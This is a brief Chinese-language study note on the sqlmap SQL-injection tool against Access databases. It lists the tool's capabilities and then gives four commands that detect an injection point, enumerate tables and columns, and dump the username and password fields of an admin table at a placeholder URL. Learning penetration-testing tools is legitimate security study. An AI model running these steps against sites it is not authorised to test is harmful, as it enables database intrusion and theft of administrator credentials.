SQLMAP学习笔记1 access注入
Sqlmap是开源的自动化SQL注入工具，由Python写成，具有如下特点：
- 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
- 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
- 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
- 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
- 支持自动识别密码哈希格式并通过字典破解密码哈希。
- 支持完全地下载某个数据库中的某个表，也可以只下载某个表中的某几列，甚至只下载某一列中的部分数据，这完全取决于用户的选择。
- 支持在数据库管理系统中搜索指定的数据库名、表名或列名
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
步骤一：sqlmap -u "url" #检测URL是否是注入点；
步骤二：sqlmap -u "url" --tables #猜解表；
步骤三：sqlmap -u "url" --columns -T 表 #根据猜解的表进行猜解表的字段；
步骤四：sqlmap -u "url" --dump -T admin -C "username,password" #根据字段猜解内容(假如通过3得到字段为username和password)；
see you